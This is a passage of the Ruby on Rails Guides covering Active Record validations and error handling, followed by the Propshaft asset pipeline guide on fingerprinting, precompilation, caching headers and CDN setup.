    admin.validates :email, presence: true
  end
end
```

All validations inside of the `with_options` block will automatically have `if: :is_admin?` merged into its options.

### [4.4. Combining Validation Conditions](#combining-validation-conditions)

On the other hand, when multiple conditions define whether or not a validation should happen, an `Array` can be used. Moreover, you can apply both `:if` and `:unless` to the same validation.

```
class Computer < ApplicationRecord
  validates :mouse, presence: true,
                    if: [Proc.new { |c| c.market.retail? }, :desktop?],
                    unless: Proc.new { |c| c.trackpad.present? }
end
```

The validation only runs when all the `:if` conditions and none of the `:unless` conditions are evaluated to `true`.

## [5. Strict Validations](#strict-validations)

You can also specify validations to be strict and raise `ActiveModel::StrictValidationFailed` when the object is invalid.

```
class Person < ApplicationRecord
  validates :name, presence: { strict: true }
end
```

```
irb> Person.new.valid?
=> ActiveModel::StrictValidationFailed: Name can't be blank
```

Strict validations ensure that an exception is raised immediately when validation fails, which can be useful in situations where you want to enforce immediate feedback or halt processing when invalid data is encountered. For example, you might use strict validations in a scenario where invalid input should prevent further operations, such as when processing critical transactions or performing data integrity checks.

There is also the ability to pass a custom exception to the `:strict` option.

```
class Person < ApplicationRecord
  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
end
```

```
irb> Person.new.valid?
=> TokenGenerationException: Token can't be blank
```

## [6. Listing Validators](#listing-validators)

If you want to find out all of the validators for a given object, you can use `validators`.

For example, if we have the following model using a custom validator and a built-in validator:

```
class Person < ApplicationRecord
  validates :name, presence: true, on: :create
  validates :email, format: URI::MailTo::EMAIL_REGEXP
  validates_with MyOtherValidator, strict: true
end
```

We can now use `validators` on the "Person" model to list all validators, or even check a specific field using `validators_on`.

```
irb> Person.validators
#=> [#<ActiveRecord::Validations::PresenceValidator:0x10b2f2158
      @attributes=[:name], @options={:on=>:create}>,
     #<MyOtherValidatorValidator:0x10b2f17d0
      @attributes=[:name], @options={:strict=>true}>,
     #<ActiveModel::Validations::FormatValidator:0x10b2f0f10
      @attributes=[:email],
      @options={:with=>URI::MailTo::EMAIL_REGEXP}>]
     #<MyOtherValidator:0x10b2f0948 @options={:strict=>true}>]

irb> Person.validators_on(:name)
#=> [#<ActiveModel::Validations::PresenceValidator:0x10b2f2158
      @attributes=[:name], @options={on: :create}>]
```

## [7. Performing Custom Validations](#performing-custom-validations)

When the built-in validations are not enough for your needs, you can write your own validators or validation methods as you prefer.

### [7.1. Custom Validators](#custom-validators)

Custom validators are classes that inherit from [`ActiveModel::Validator`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validator.html). These classes must implement the `validate` method which takes a record as an argument and performs the validation on it. The custom validator is called using the `validates_with` method.

```
class MyValidator < ActiveModel::Validator
  def validate(record)
    unless record.name.start_with? "X"
      record.errors.add :name, "Provide a name starting with X, please!"
    end
  end
end

class Person < ApplicationRecord
  validates_with MyValidator
end
```

The easiest way to add custom validators for validating individual attributes is with the convenient [`ActiveModel::EachValidator`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/EachValidator.html). In this case, the custom validator class must implement a `validate_each` method which takes three arguments: record, attribute, and value. These correspond to the instance, the attribute to be validated, and the value of the attribute in the passed instance.

```
class EmailValidator < ActiveModel::EachValidator
  def validate_each(record, attribute, value)
    unless URI::MailTo::EMAIL_REGEXP.match?(value)
      record.errors.add attribute, (options[:message] || "is not an email")
    end
  end
end

class Person < ApplicationRecord
  validates :email, presence: true, email: true
end
```

As shown in the example, you can also combine standard validations with your own custom validators.

### [7.2. Custom Methods](#custom-methods)

You can also create methods that verify the state of your models and add errors to the `errors` collection when they are invalid. You must then register these methods by using the [`validate`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate) class method, passing in the symbols for the validation methods' names.

You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.

The `valid?` method will verify that the `errors` collection is empty, so your custom validation methods should add errors to it when you wish validation to fail:

```
class Invoice < ApplicationRecord
  validate :expiration_date_cannot_be_in_the_past,
    :discount_cannot_be_greater_than_total_value

  def expiration_date_cannot_be_in_the_past
    if expiration_date.present? && expiration_date < Date.today
      errors.add(:expiration_date, "can't be in the past")
    end
  end

  def discount_cannot_be_greater_than_total_value
    if discount > total_value
      errors.add(:discount, "can't be greater than total value")
    end
  end
end
```

By default, such validations will run every time you call `valid?` or save the object. But it is also possible to control when to run these custom validations by giving an `:on` option to the `validate` method, with either: `:create` or `:update`.

```
class Invoice < ApplicationRecord
  validate :active_customer, on: :create

  def active_customer
    errors.add(:customer_id, "is not active") unless customer.active?
  end
end
```

See the section above for more details about [`:on`](#on).

### [7.3. Custom Contexts](#custom-contexts)

You can define your own custom validation contexts for callbacks, which is useful when you want to perform validations based on specific scenarios or group certain callbacks together and run them in a specific context. A common scenario for custom contexts is when you have a multi-step form and want to perform validations per step.

For instance, you might define custom contexts for each step of the form:

```
class User < ApplicationRecord
  validate :personal_information, on: :personal_info
  validate :contact_information, on: :contact_info
  validate :location_information, on: :location_info

  private
    def personal_information
      errors.add(:base, "Name must be present") if first_name.blank?
      errors.add(:base, "Age must be at least 18") if age && age < 18
    end

    def contact_information
      errors.add(:base, "Email must be present") if email.blank?
      errors.add(:base, "Phone number must be present") if phone.blank?
    end

    def location_information
      errors.add(:base, "Address must be present") if address.blank?
      errors.add(:base, "City must be present") if city.blank?
    end
end
```

In these cases, you may be tempted to [skip callbacks](active_record_callbacks.html#skipping-callbacks) altogether, but defining a custom context can be a more structured approach. You will need to combine a context with the `:on` option to define a custom context for a callback.

Once you've defined the custom context, you can use it to trigger the validations:

```
irb> user = User.new(name: "John Doe", age: 17, email: "jane@example.com", phone: "1234567890", address: "123 Main St")
irb> user.valid?(:personal_info) # => false
irb> user.valid?(:contact_info) # => true
irb> user.valid?(:location_info) # => false
```

You can also use the custom contexts to trigger the validations on any method that supports callbacks. For example, you could use the custom context to trigger the validations on `save`:

```
irb> user = User.new(name: "John Doe", age: 17, email: "jane@example.com", phone: "1234567890", address: "123 Main St")
irb> user.save(context: :personal_info) # => false
irb> user.save(context: :contact_info) # => true
irb> user.save(context: :location_info) # => false
```

## [8. Working with Validation Errors](#working-with-validation-errors)

The [`valid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Validations.html#method-i-valid-3F) and [`invalid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-invalid-3F) methods only provide a summary status on validity. However you can dig deeper into each individual error by using various methods from the [`errors`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-errors) collection.

The following is a list of the most commonly used methods. Please refer to the [`ActiveModel::Errors`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html) documentation for a list of all the available methods.

### [8.1. `errors`](#errors)

The [`errors`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-errors) method is the starting point through which you can drill down into various details of each error.

This returns an instance of the class `ActiveModel::Errors` containing all errors, each error is represented by an [`ActiveModel::Error`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Error.html) object.

```
class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end
```

```
irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.full_messages
=> ["Name can't be blank", "Name is too short (minimum is 3 characters)"]

irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors.full_messages
=> []

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.first.details
=> {:error=>:too_short, :count=>3}
```

### [8.2. `errors[]`](#errors-squarebrackets)

[`errors[]`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-5B-5D) is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.

This method is only useful *after* validations have been run, because it only inspects the `errors` collection and does not trigger validations itself. It's different from the `ActiveRecord::Base#invalid?` method explained above because it doesn't verify the validity of the object as a whole. `errors[]` only checks to see whether there are errors found on an individual attribute of the object.

```
class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end
```

```
irb> person = Person.new(name: "John Doe")
irb> person.valid?
=> true
irb> person.errors[:name]
=> []

irb> person = Person.new(name: "JD")
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["is too short (minimum is 3 characters)"]

irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors[:name]
=> ["can't be blank", "is too short (minimum is 3 characters)"]
```

### [8.3. `errors.where` and Error Object](#errors-where-and-error-object)

Sometimes we may need more information about each error besides its message. Each error is encapsulated as an `ActiveModel::Error` object, and the [`where`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-where) method is the most common way of access.

`where` returns an array of error objects filtered by various degrees of conditions.

Given the following validation:

```
class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end
```

We can filter for just the `attribute` by passing it as the first parameter to `errors.where(:attr)`. The second parameter is used for filtering the `type` of error we want by calling `errors.where(:attr, :type)`.

```
irb> person = Person.new
irb> person.valid?
=> false

irb> person.errors.where(:name)
=> [ ... ] # all errors for :name attribute

irb> person.errors.where(:name, :too_short)
=> [ ... ] # :too_short errors for :name attribute
```

Lastly, we can filter by any `options` that may exist on the given type of error object.

```
irb> person = Person.new
irb> person.valid?
=> false

irb> person.errors.where(:name, :too_short, minimum: 3)
=> [ ... ] # all name errors being too short and minimum is 3
```

You can read various information from these error objects:

```
irb> error = person.errors.where(:name).last

irb> error.attribute
=> :name
irb> error.type
=> :too_short
irb> error.options[:count]
=> 3
```

You can also generate the error message:

```
irb> error.message
=> "is too short (minimum is 3 characters)"
irb> error.full_message
=> "Name is too short (minimum is 3 characters)"
```

The [`full_message`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-full_message) method generates a more user-friendly message, with the capitalized attribute name prepended. (To customize the format that `full_message` uses, see the [I18n guide](i18n.html#active-model-methods).)

### [8.4. `errors.add`](#errors-add)

The [`add`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-add) method creates the error object by taking the `attribute`, the error `type` and additional options hash. This is useful when writing your own validator, as it lets you define very specific error situations.

```
class Person < ApplicationRecord
  validate do |person|
    errors.add :name, :too_plain, message: "is not cool enough"
  end
end
```

```
irb> person = Person.new
irb> person.errors.where(:name).first.type
=> :too_plain
irb> person.errors.where(:name).first.full_message
=> "Name is not cool enough"
```

### [8.5. `errors[:base]`](#errors-base)

You can add errors that are related to the object's state as a whole, instead of being related to a specific attribute. To do this you must use `:base` as the attribute when adding a new error.

```
class Person < ApplicationRecord
  validate do |person|
    errors.add :base, :invalid, message: "This person is invalid because ..."
  end
end
```

```
irb> person = Person.new
irb> person.errors.where(:base).first.full_message
=> "This person is invalid because ..."
```

### [8.6. `errors.size`](#errors-size)

The `size` method returns the total number of errors for the object.

```
class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end
```

```
irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.size
=> 2

irb> person = Person.new(name: "Andrea", email: "andrea@example.com")
irb> person.valid?
=> true
irb> person.errors.size
=> 0
```

### [8.7. `errors.clear`](#errors-clear)

The `clear` method is used when you intentionally want to clear the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.

```
class Person < ApplicationRecord
  validates :name, presence: true, length: { minimum: 3 }
end
```

```
irb> person = Person.new
irb> person.valid?
=> false
irb> person.errors.empty?
=> false

irb> person.errors.clear
irb> person.errors.empty?
=> true

irb> person.save
=> false

irb> person.errors.empty?
=> false
```

## [9. Displaying Validation Errors in Views](#displaying-validation-errors-in-views)

Once you've defined a model and added validations, you'll want to display an error message when a validation fails during the creation of that model via a web form.

Since every application handles displaying validation errors differently, Rails does not include any view helpers for generating these messages. However, Rails gives you a rich number of methods to interact with validations that you can use to build your own. In addition, when generating a scaffold, Rails will put some generated ERB into the `_form.html.erb` that displays the full list of errors on that model.

Assuming we have a model that's been saved in an instance variable named `@article`, it looks like this:

```
<% if @article.errors.any? %>
  <div id="error_explanation">
    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>

    <ul>
      <% @article.errors.each do |error| %>
        <li><%= error.full_message %></li>
      <% end %>
    </ul>
  </div>
<% end %>
```

Furthermore, if you use the Rails form helpers to generate your forms, when a validation error occurs on a field, it will generate an extra `<div>` around the entry.

```
<div class="field_with_errors">
  <input id="article_title" name="article[title]" size="30" type="text" value="">
</div>
```

You can then style this div however you'd like. The default scaffold that Rails generates, for example, adds this CSS rule:

```
.field_with_errors {
  padding: 2px;
  background-color: red;
  display: table;
}
```

This means that any field with an error ends up with a 2 pixel red border.

### [9.1. Customizing Error Field Wrapper](#customizing-error-field-wrapper)

Rails uses the `field_error_proc` configuration option to wrap fields with errors in HTML. By default, this option wraps the erroneous form fields in a `<div>` with a `field_with_errors` class, as seen in the example above:

```
config.action_view.field_error_proc = Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }
```

You can customize this behavior by modifying the field\_error\_proc setting in your application configuration, allowing you to change how errors are presented in your forms. For more details, refer to the [Configuration Guide on field\_error\_proc](configuring.html#config-action-view-field-error-proc).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/asset_pipeline.html
----

***

## [1. What is an Asset Pipeline?](#what-is-an-asset-pipeline-questionmark)

The Rails Asset Pipeline is a library designed for organizing, caching, and serving static assets, such as JavaScript, CSS, and image files. It streamlines and optimizes the management of these assets to enhance the performance and maintainability of the application.

The Rails Asset Pipeline is managed by [**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an era where transpilation, bundling and compression are less critical for basic applications, thanks to better browser support, faster networks and HTTP/2 capabilities.

Propshaft focuses on essential asset management tasks and leaves more complex tasks, such as JavaScript and CSS bundling and minification, to specialized tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and [`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be added separately to your application. Propshaft focuses on [fingerprinting](#fingerprinting-versioning-with-digest-based-urls) and emphasizes generating digest-based URLs for assets, allowing browsers to cache them, thus minimizing the need for intricate compilation and bundling.

The [Propshaft](https://github.com/rails/propshaft) gem is enabled by default in new applications. If, for some reason, you want to disable it during setup, you can use the `--skip-asset-pipeline` option:

```
$ rails new app_name --skip-asset-pipeline
```

Before Rails 8, the asset pipeline was powered by [Sprockets](https://github.com/rails/sprockets). You can read about the [Sprockets Asset Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous versions of the Rails Guides. You can also explore the [evolution of asset management techniques](#evolution-of-asset-management-techniques) to see how the Rails Asset Pipeline has evolved over time.

## [2. Propshaft Features](#propshaft-features)

Propshaft expects that your assets are already in a browser-ready format—like plain CSS, JavaScript, or preprocessed images (like JPEGs or PNGs). Its job is to organize, version, and serve those assets efficiently. In this section, we’ll cover the main features of Propshaft and how they work.

### [2.1. Asset Load Order](#asset-load-order)

With Propshaft, you can control the loading order of dependent files by specifying each file explicitly and organizing them manually or ensuring they are included in the correct sequence within your HTML or layout files. This ensures that dependencies are managed and loaded without relying on automated dependency management tools. Below are some strategies for managing dependencies:

1. Manually include assets in the correct order:

   In your HTML layout (usually `application.html.erb` for Rails apps) you can specify the exact order for loading CSS and JavaScript files by including each file individually in a specific order. For example:

   ```
   <!-- application.html.erb -->
   <head>
    <%= stylesheet_link_tag "reset" %>
    <%= stylesheet_link_tag "base" %>
    <%= stylesheet_link_tag "main" %>
   </head>
   <body>
    <%= javascript_include_tag "utilities" %>
    <%= javascript_include_tag "main" %>
   </body>
   ```

   This is important if, for instance, `main.js` relies on `utilities.js` to be loaded first.

2. Use Modules in JavaScript (ES6)

   If you have dependencies within JavaScript files, ES6 modules can help. By using import statements, you can explicitly control dependencies within JavaScript code. Just make sure your JavaScript files are set up as modules using `<script type="module">` in your HTML:

   ```
   // main.js
   import { initUtilities } from "./utilities.js";
   import { setupFeature } from "./feature.js";

   initUtilities();
   setupFeature();
   ```

   Then in your layout:

   ```
   <script type="module" src="main.js"></script>
   ```

   This way, you can manage dependencies within JavaScript files without relying on Propshaft to understand them. By importing modules, you can control the order in which files are loaded and ensure dependencies are met.

3. Combine Files when necessary

   If you have several JavaScript or CSS files that must always load together, you can combine them into a single file. For example, you could create a `combined.js` file that imports or copies code from other scripts. Then, just include `combined.js` in your layout to avoid dealing with individual file ordering. This can be useful for files that always load together, like a set of utility functions or a group of styles for a specific component. While this approach can work for small projects or simple use cases, it can become tedious and error-prone for larger applications.

4. Bundle your JavaScript or CSS using a bundler

   If your project requires features like dependency chaining or CSS pre-processing, you may want to consider [advanced asset management](#advanced-asset-management) alongside Propshaft.

   Tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) integrates [Bun](https://bun.sh/), [esbuild](https://esbuild.github.io/), [rollup.js](https://rollupjs.org/), or [Webpack](https://webpack.js.org/) into your Rails application, while [`cssbundling-rails`](https://github.com/rails/cssbundling-rails) can be used to process stylesheets that use [Tailwind CSS](https://tailwindcss.com/), [Bootstrap](https://getbootstrap.com/), [Bulma](https://bulma.io/), [PostCSS](https://postcss.org/), or [Dart Sass](https://sass-lang.com/).

   These tools complement Propshaft by handling the complex processing, while Propshaft efficiently organizes and serves the final assets.

### [2.2. Asset Organization](#asset-organization)

Propshaft organizes assets within the `app/assets` directory, which includes subdirectories like `images`, `javascripts`, and `stylesheets`. You can place your JavaScript, CSS, image files, and other assets into these directories, and Propshaft will manage them during the precompilation process.

You can also specify additional asset paths for Propshaft to search by modifying `config.assets.paths` in your `config/initializers/assets.rb` file. For example:

```
# Add additional assets to the asset load path.
Rails.application.config.assets.paths << Emoji.images_path
```

Propshaft will make all assets from the configured paths available for serving. During the precompilation process, Propshaft copies these assets into the `public/assets` directory, ensuring they are ready for production use.

Assets can be [referenced through their logical paths](#digested-assets-in-views) using helpers like `asset_path`, `image_tag`, `javascript_include_tag`, and other asset helper tags. After running [assets:precompile in production](#production), these logical references are automatically converted into their fingerprinted paths using the [`.manifest.json` file](#manifest-files).

It is possible to exclude certain directories from this process, you can read more about it in the [Fingerprinting section](#fingerprinting-versioning-with-digest-based-urls).

### [2.3. Fingerprinting: Versioning with digest-based URLs](#fingerprinting-versioning-with-digest-based-urls)

In Rails, asset versioning uses fingerprinting to add unique identifiers to asset filenames.

Fingerprinting is a technique that makes the name of a file dependent on its content. A digest of the file's content is generated and appended to the filename. This ensures that when the file content changes, its digest—and consequently its filename—also changes. This mechanism is crucial for caching assets effectively, as the browser will always load the updated version of an asset when its content changes, thereby improving performance. For static or infrequently changed content, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.

#### [2.3.1. Asset Digesting](#asset-digesting)

As mentioned in the [Asset Organization section](#asset-organization), in Propshaft, all assets from the paths configured in `config.assets.paths` are available for serving and will be copied into the `public/assets` directory.

When fingerprinted, an asset filename like `styles.css` is renamed to `styles-a1b2c3d4e5f6.css`. This ensures that if `styles.css` is updated, the filename changes as well, compelling the browser to download the latest version instead of using a potentially outdated cached copy.

#### [2.3.2. Manifest Files](#manifest-files)

In Propshaft, the `.manifest.json` file is automatically generated during the asset precompilation process. This file maps original asset filenames to their fingerprinted versions, ensuring proper cache invalidation and efficient asset management. Located in the `public/assets` directory, the `.manifest.json` file helps Rails resolve asset paths at runtime, allowing it to reference the correct fingerprinted files.

The `.manifest.json` includes entries for main assets like `application.js` and `application.css` as well as other files, such as images. Here's an example of what the JSON might look like:

```
{
  "application.css": "application-6d58c9e6e3b5d4a7c9a8e3.css",
  "application.js": "application-2d4b9f6c5a7c8e2b8d9e6.js",
  "logo.png": "logo-f3e8c9b2a6e5d4c8.png",
  "favicon.ico": "favicon-d6c8e5a9f3b2c7.ico"
}
```

When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as cache busting.

#### [2.3.3. Digested Assets in Views](#digested-assets-in-views)

You can reference digested assets in your views using standard Rails asset helpers like `asset_path`, `image_tag`, `javascript_include_tag`, `stylesheet_link_tag` and others.

For example, in your layout file, you can include a stylesheet like this:

```
<%= stylesheet_link_tag "application", media: "all" %>
```

If you're using the [`turbo-rails`](https://github.com/hotwired/turbo-rails) gem (which is included by default in Rails), you can include the `data-turbo-track` option. This causes Turbo to check if an asset has been updated and, if so, reload it into the page:

```
<%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
```

You can access images in the `app/assets/images` directory like this:

```
<%= image_tag "rails.png" %>
```

When the asset pipeline is enabled, Propshaft will serve this file. If a file exists at `public/assets/rails.png`, it will be served by the web server.

Alternatively, if you are using fingerprinted assets (e.g., `rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png`), Propshaft will also serve these correctly. The fingerprint is automatically applied during the precompilation process.

Images can be organized into subdirectories, and you can reference them by specifying the directory in the tag:

```
<%= image_tag "icons/rails.png" %>
```

Finally, you can reference an image in your CSS like:

```
background: url("/bg/pattern.svg");
```

Propshaft will automatically convert this to:

```
background: url("/assets/bg/pattern-2169cbef.svg");
```

If you're precompiling your assets (see [the Production section](#production)), linking to an asset that doesn't exist will raise an exception in the calling page. This includes linking to a blank string. Be careful when using `image_tag` and other helpers with user-supplied data. This ensures that the browser always fetches the correct version of the asset.

#### [2.3.4. Digested Assets in JavaScript](#digested-assets-in-javascript)

In JavaScript, you need to manually trigger the asset transformation using the `RAILS_ASSET_URL` macro. Here’s an example:

```
export default class extends Controller {
  init() {
    this.img = RAILS_ASSET_URL("/icons/trash.svg");
  }
}
```

This will transform into:

```
export default class extends Controller {
  init() {
    this.img = "/assets/icons/trash-54g9cbef.svg";
  }
}
```

This ensures that the correct, digested file is used in your JavaScript code.

If you’re using bundlers like [Webpack](https://webpack.js.org/) or [esbuild](https://esbuild.github.io/), you should let the bundlers handle the digesting process. If Propshaft detects that a file already has a digest in the filename (e.g., `script-2169cbef.js`), it will skip digesting the file again to avoid unnecessary reprocessing.

For managing assets with [Import Maps](#importmap-rails), Propshaft ensures that assets referenced in the import map are appropriately handled and mapped to their digested paths during the precompilation process.

#### [2.3.5. Bypassing the Digest Step](#bypassing-the-digest-step)

If you need to reference files that refer to each other—like a JavaScript file and its source map—and want to avoid the digesting process, you can pre-digest these files manually. Propshaft recognizes files with the pattern `-[digest].digested.js` as files that have already been digested and will preserve their stable file names.

#### [2.3.6. Excluding Directories from Digestion](#excluding-directories-from-digestion)

You can exclude certain directories from the precompilation and digestion process by adding them to `config.assets.excluded_paths`. This is useful if, for example, you’re using `app/assets/stylesheets` as input to a compiler like [Dart Sass](https://sass-lang.com/), and you don’t want these files to be part of the asset load path.

```
config.assets.excluded_paths = [Rails.root.join("app/assets/stylesheets")]
```

This will prevent the specified directories from being processed by Propshaft while still allowing them to be part of the precompilation process.

## [3. Working with Propshaft](#working-with-propshaft)

From Rails 8 onwards, Propshaft is included by default. To use Propshaft, you need to configure it properly and organize your assets in a way that Rails can serve them efficiently.

### [3.1. Setup](#setup)

Follow these steps for setting up Propshaft in your Rails application:

1. Create a new Rails application:

   ```
   $ rails new app_name
   ```

2. Organize your assets:

   Propshaft expects your assets to be in the `app/assets` directory. You can organize your assets into subdirectories like `app/assets/javascripts` for JavaScript files, `app/assets/stylesheets` for CSS files, and `app/assets/images` for images.

   For example, you can create a new JavaScript file in `app/assets/javascripts`:

   ```
   // app/assets/javascripts/main.js
   console.log("Hello, world!");
   ```

   and a new CSS file in `app/assets/stylesheets`:

   ```
   /* app/assets/stylesheets/main.css */
   body {
     background-color: red;
   }
   ```

3. Link assets in your application layout

   In your application layout file (usually `app/views/layouts/application.html.erb`), you can include your assets using the `stylesheet_link_tag` and `javascript_include_tag` helpers:

   ```
   <!-- app/views/layouts/application.html.erb -->
   <!DOCTYPE html>
   <html>
     <head>
       <title>MyApp</title>
       <%= stylesheet_link_tag "main" %>
     </head>
     <body>
       <%= yield %>
       <%= javascript_include_tag "main" %>
     </body>
   </html>
   ```

   This layout includes the `main.css` stylesheet and `main.js` JavaScript file in your application.

4. Start the Rails server:

   ```
   $ bin/rails server
   ```

5. Preview your application:

   Open your web browser and navigate to `http://localhost:3000`. You should see your Rails application with the included assets.

### [3.2. Development](#development)

Rails and Propshaft are configured differently in development than in production, to allow rapid iteration without manual intervention.

#### [3.2.1. No Caching](#no-caching)

In development, Rails is configured to bypass asset caching. This means that when you modify assets (e.g., CSS, JavaScript), Rails will serve the most up-to-date version directly from the file system. There's no need to worry about versioning or file renaming because caching is skipped entirely. Browsers will automatically pull in the latest version each time you reload the page.

#### [3.2.2. Automatic Reloading of Assets](#automatic-reloading-of-assets)

When using Propshaft on its own, it automatically checks for updates to assets like JavaScript, CSS, or images with every request. This means you can edit these files, reload the browser, and instantly see the changes without needing to restart the Rails server.

When using JavaScript bundlers such as [esbuild](https://esbuild.github.io/) or [Webpack](https://webpack.js.org/) alongside Propshaft, the workflow combines both tools effectively:

* The bundler watches for changes in your JavaScript and CSS files, compiles them into the appropriate build directory, and keeps the files up to date.
* Propshaft ensures that the latest compiled assets are served to the browser whenever a request is made.

For these setups, running `./bin/dev` starts both the Rails server and the asset bundler's development server.

In either case, Propshaft ensures that changes to your assets are reflected as soon as the browser page is reloaded, without requiring a server restart.

#### [3.2.3. Improving Performance with File Watchers](#improving-performance-with-file-watchers)

In development, Propshaft checks if any assets have been updated before each request, using the application's file watcher (by default, `ActiveSupport::FileUpdateChecker`). If you have a large number of assets, you can improve performance by using the `listen` gem and configuring the following setting in `config/environments/development.rb`:

```
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
```

This will reduce the overhead of checking for file updates and improve performance during development.

### [3.3. Production](#production)

In production, Rails serves assets with caching enabled to optimize performance, ensuring that your application can handle high traffic efficiently.

#### [3.3.1. Asset Caching and Versioning in Production](#asset-caching-and-versioning-in-production)

As mentioned in the [Fingerprinting section](#fingerprinting-versioning-with-digest-based-urls) when the file content changes, its digest also changes, thus the browser uses the updated version of the file. Whereas, if the content remains the same, the browser will use the cached version.

#### [3.3.2. Precompiling Assets](#precompiling-assets)

In production, precompilation is typically run during deployment to ensure that the latest versions of the assets are served. Propshaft was explicitly not designed to provide full transpiler capabilities. However, it does offer an input -> output compiler setup that by default is used to translate `url(asset)` function calls in CSS to `url(digested-asset)` instead and source mapping comments likewise.

To manually run precompilation you can use the following command:

```
$ RAILS_ENV=production rails assets:precompile
```

After doing this, all assets in the load path will be copied (or compiled when using [advanced asset management](#advanced-asset-management)) in the precompilation step and stamped with a digest hash.

Additionally, you can set `ENV["SECRET_KEY_BASE_DUMMY"]` to trigger the use of a randomly generated `secret_key_base` that’s stored in a temporary file. This is useful when precompiling assets for production as part of a build step that otherwise does not need access to the production secrets.

```
$ RAILS_ENV=production SECRET_KEY_BASE_DUMMY=1 rails assets:precompile
```

By default, assets are served from the `/assets` directory.

Running the precompile command in development generates a marker file named `.manifest.json`, which tells the application that it can serve the compiled assets. As a result, any changes you make to your source assets won't be reflected in the browser until the precompiled assets are updated. If your assets stop updating in development mode, the solution is to remove the `.manifest.json` file located in `public/assets/`. You can use the `rails assets:clobber` command to delete all your precompiled assets and the `.manifest.json` file. This will force Rails to recompile the assets on the fly, reflecting the latest changes.

Always ensure that the expected compiled filenames end with `.js` or `.css`.

##### [3.3.2.1. Far-future Expires Header](#far-future-expires-header)

Precompiled assets exist on the file system and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add those headers.

For Apache:

```
# The Expires* directives require the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
  # Use of ETag is discouraged when Last-Modified is present
  Header unset ETag
  FileETag None
  # RFC says only cache for 1 year
  ExpiresActive On
  ExpiresDefault "access plus 1 year"
</Location>
```

For NGINX:

```
location ~ ^/assets/ {
  expires 1y;
  add_header Cache-Control public;

  add_header ETag "";
}
```

#### [3.3.3. CDNs](#cdns)

CDN stands for [Content Delivery Network](https://en.wikipedia.org/wiki/Content_delivery_network), they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser. If you are serving assets directly from your Rails server in production, the best practice is to use a CDN in front of your application.

A common pattern for using a CDN is to set your production application as the "origin" server. This means when a browser requests an asset from the CDN and there is a cache miss, it will instead source the file from your server and then cache it. For example if you are running a Rails application on `example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`, then when a request is made to `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, the CDN will query your server once at `example.com/assets/smile.png` and cache the request. The next request to the CDN that comes in to the same URL will hit the cached copy. When the CDN can serve an asset directly the request never touches your Rails server. Since the assets from a CDN are geographically closer to the browser, the request is faster, and since your server doesn't need to spend time serving assets, it can focus on serving application code.

##### [3.3.3.1. Set up a CDN to Serve Static Assets](#set-up-a-cdn-to-serve-static-assets)

To set up CDN, your application needs to be running in production on the internet at a publicly available URL, for example `example.com`. Next you'll need to sign up for a CDN service from a cloud hosting provider. When you do this you need to configure the "origin" of the CDN to point back at your website `example.com`. Check your provider for documentation on configuring the origin server.

The CDN you provisioned should give you a custom subdomain for your application such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a valid CDN provider at the time of this writing). Now that you have configured your CDN server, you need to tell browsers to use your CDN to grab assets instead of your Rails server directly. You can do this by configuring Rails to set your CDN as the asset host instead of using a relative path. To set your asset host in Rails, you need to set [`config.asset_host`](configuring.html#config-asset-host) in `config/environments/production.rb`:

```
config.asset_host = "mycdnsubdomain.fictional-cdn.com"
```

